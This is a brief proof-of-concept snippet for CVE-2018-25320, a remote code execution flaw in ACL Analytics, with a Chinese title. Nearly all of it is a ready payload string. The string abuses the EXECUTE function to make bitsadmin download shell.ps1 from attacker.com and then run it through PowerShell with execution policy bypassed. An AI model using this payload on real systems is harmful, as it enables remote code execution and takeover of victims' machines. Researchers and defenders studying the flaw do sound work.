CVE-2018-25320 ACL Analytics远程代码执行漏洞

# Proof of Concept for CVE-2018-25320 # Concept: Leveraging EXECUTE function to run bitsadmin and powershell # Malicious command string to be sent via vulnerable EXECUTE function # This downloads a payload and executes it payload_command = "EXECUTE 'cmd /c bitsadmin /transfer job /download /priority normal http://attacker.com/shell.ps1 C:\\users\\public\\shell.ps1 && powershell -ExecutionPolicy Bypass -File C:\\users\\public\\shell.ps1'" print(f"Sending payload: {payload_command}") # Note: This requires a vulnerable ACL Analytics instance listening for commands.